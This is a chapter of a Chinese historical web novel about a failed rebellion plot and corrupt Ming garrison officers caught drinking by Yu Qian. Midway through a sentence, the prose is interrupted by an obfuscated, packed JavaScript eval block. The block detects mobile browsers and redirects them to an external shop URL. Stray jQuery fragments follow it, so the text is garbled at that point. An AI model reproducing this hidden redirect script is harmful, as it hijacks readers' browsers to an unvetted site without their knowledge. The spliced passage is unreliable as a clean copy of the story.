第一百五十七章 :吸血无处不在
    “你说的烧,是怎么个烧法?”

    在朱徽煠疑惑的目光中,段有洪很快便恢复了镇定,随手拿过一条锦帕,在身上慢条斯理的抹了抹。

    “学生不仅在粮库放了火,为了掩人耳目,还在官邸和南直隶各处官署文库都放了火。”

    说起这事,朱徽煠就忍不住露出得意的笑容。

    “老天也在帮我,一场大风,将半个南直隶变成了火海。

    只可惜那火药没将于谦炸死,不然现在朝廷的平叛大军已经到南直隶了。”

    说罢,他期待的看向段有洪,在没有得到预想中的夸赞后,便忍不住担忧道:“段师,学生...学生做错了么?”

    段有洪没有立即回答,而是连喝三杯酒后,才轻声道:“你觉得皇帝如何?”

    突如其来的发问,让段有洪愣下,片刻后犹豫道:“不过一孺子,既无先帝之武略,也无仁宗之文韬。

    有段师助我,此子不足为虑。

    段师您....想到了什么吗?”

    段有洪闻言摇了摇头,忽然笑道:“这件事,你做得不错。

    若没有你这把火,估计朝廷大军南下还要拖延时日。

    现在咱们要做的,就是厉兵秣马,等待时机。”

    “明白!”朱徽煠重重点点头,正想问接下来该怎么办,就被段有洪以醉酒为由,赶了出去。

    他端坐在桌案前,轻轻摇晃手腕,看着杯中不停旋转的美酒,突然长叹了一口气,将酒一饮而尽。

    完了,全完了。

    当初就不该选朱徽煠,没想到他看起来还个人,做起事来却败事有余。

    好好的化龙之谋,硬是被他一把火烧没了。

    此事过犹不及,势必会引起京城中明眼人的怀疑。

    如今的皇帝......能在北疆反败为胜,并且知道挟大胜之威清除朝中王振的势力。

    之后的每一件事,都做的干净利落,从不拖泥带水,优柔寡断。

    朱徽煠和这样的皇帝相比,无异于萤火与皓月争辉。

    比不了啊,比不了啊!

    段有洪喝干最后一滴酒,反身走到床榻间开始收拾细软。

    此地不宜久留。

    至于朱徽煠......自己给了他一桩富贵,他自己接不住,亲手斩断了最后一线称帝的希望,怨不得别人。

    等到将所有值钱的物件打包,段有洪才重新整理了下自己的衣冠,轻轻拍了拍脸,接着出门对侍卫道。

    “去禀告王爷,就说我突然想起一件要事,十万火急。”

    ......

    南直隶。

    应天府。

    那场滔天的大火,逐渐成了南直隶外百姓茶余饭后的闲谈。

    除了因大火失去亲人的百姓,再无人刻意关注。

    所有人都被另外一件事所吸引。

    裁撤卫所。

    各府县的告示已经张贴出来,眼看已经成了定局。

    对此,那些早就受不了上官压迫和沉重赋税的军户欣喜若狂,但另外一些人,却恨得咬牙切齿。

    南直隶龙虎卫卫所。

    管操指挥周珍,谄媚的给把总修真倒上酒,接着把桌上酒肉往修真面前推了推,愁眉苦脸道:“大哥,他们把卫所一裁,这不是断了咱们的生路么?”

    “放宽心。”修真嘬了一口酒,眯起眼睛随意道:“无论裁了谁,都裁不到咱们龙虎卫头上。

    你别忘了,咱们可是隶属于南直隶左军都督府,虽然现在没有管事的,但还有个南直隶守备呢。

    天塌下来,有高个子顶着,你怕什么?”

    “哥,不是我瞎操心。”周珍满面愁容道:“他们身上哪个没有一官半职,都是世代传家的勋贵,自然不担心这种事。

    没了卫所,他们大可拍拍屁股走人,换个地方继续发财,咱们不一样啊。

    老话虽说人挪活树挪死,但咱们离了龙虎卫,再想有今天,也不知道要熬到什么时候了。

    而且告示上写的清清楚楚,这是皇帝的旨意。

    他伯爵再威风,难道还真敢为了咱们,去和皇帝对着干么?”

    “噤声!”修真眼睛一瞪,扭头看了眼门口,见没有人经过,才松了口气。

    周珍自知失言,也不再多说,随手拿起一块肉塞进嘴中,没滋没味的嚼了起来。

    见他一副忧心忡忡的模样,修真也感觉手中的酒水难以下咽,叹了口气将杯子放了下去,想了想安慰道。

    “行了,哭丧着脸给特娘的谁看呢。

    又不是要你的命,至于么。

    他只是说裁撤卫所,又没有说裁撤将官,裁的都是那帮穷丘八,你有什么可担心的?

    咱们就想得再坏一点,卫所除了顶头那几位大爷,剩下的人一个不要,那钱粮总是要发的吧?

    加上你这些年积攒下的,到哪不能舒舒服服过一辈子?

    别告诉我,你南直隶里面那栋大宅子,就是个摆设。”

    听到这话,周珍突然抓起酒壶一饮而尽,修真拦都拦不住。

    直到最后一滴酒被喝干,他才将酒壶往墙上重重一摔,在纷飞的碎瓷片中,痛心低呼道:“没了!”

    “没了?怎么可......烧了?”修真诧异道。

    周珍痛苦的闭上了眼睛,又拿起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14008806|148556||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了另一壶酒。

    修真这回也不知道该说什么是好,默默拍了拍周珍的肩膀,无奈的摇了摇头。

    等到两人都喝红了脸,修真才醉醺醺道:“算...算求。

    钱没了,再捞就是。

    马上就是京操了,这回咱们狠狠收上一笔,赚点养老钱。”

    自永乐设立京操以来,每年都会有不少军户因为赶赴操练,耽误了屯种,最后被赋税逼得家破人亡。

    因此,贿赂上官逃避京操,已经成了惯例。也让周珍的管操指挥,变成了一个官职不大、油水不小的肥差。

    周珍趴在桌子上,醉眼朦胧得抬起头,茫然道:“哥......京城都来人了,咱们还收么?”

    “娘的,听蝲蝲蛄叫还不种地了!”修真重重拍了拍胸脯,大声道:“老子...老子在南直隶辛苦了这么多年,这是他们欠我们的!

    再说了,都...都特娘这么干,凭什么老子就不能干?

    收!明天就收!

    京城来的多什么啊?

    这南直隶,他们...他们说了不算!”

    早就喝得神志不清的周珍,崇拜的看着修真,竖起大拇指道:“哥,你...还是你厉害。”

    “你就是胆子太小,怕这怕那。”修真得意含糊道:“要真查起来,咱们算个屁啊。

    那帮同知、佥事,哪个上任第一件事不是捞钱?

    他们...他们捞得比我狠多了,那粮食都是按石往家搬,还特娘的让卫所军丁帮他们种地。

    咱们那点事......”

    修真突然打了个又臭又长的酒嗝,难受的闭上了眼睛,五官皱在一起,还不忘朝周珍拼命摆手。

    周珍本就因为家财被烧而痛心,此刻也被修真的话激起了几分血性,重重一拍桌子,站起身喝道。

    “哥,不用说了,弟弟都懂!

    干!”

    “这就对了!”修真也一拍桌子,指着酒大喊道:“喝!”

    喝上头的两人,全然没有注意到,屋外静的出奇。

    而在屋门前,站了黑压压一群人,没有一人说话,所有人都看向站在前列的于谦。

    于谦面无表情,手搭凉棚,看了看悬挂在中天之上的太阳,喃喃道。

    “正午喝酒,好雅兴啊。”

    说罢,他看向身旁面容苦涩的徐承宗,轻声道;“一炷香内,我要见到为卫指挥使、同知、佥事。”

    徐承宗没有反驳,挥手示意徐方前去找人。

    于谦收回目光,听着屋内不时爆发出的狂笑声,眼神愈冷,自言自语道。

    “这就是我大明的兵啊。”